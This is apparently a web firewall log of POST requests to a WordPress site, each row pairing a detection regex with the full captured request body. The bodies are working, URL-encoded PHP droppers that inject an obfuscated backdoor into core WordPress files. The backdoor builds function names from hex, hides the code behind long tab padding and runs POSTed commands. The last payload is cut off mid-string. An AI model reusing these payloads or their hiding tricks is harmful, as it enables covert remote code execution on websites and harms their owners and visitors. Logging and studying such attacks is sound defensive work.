["2026-05-12 10:48:48","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:6967\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:48:51","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Mq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGKRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6944\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nMq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:54","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Aw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n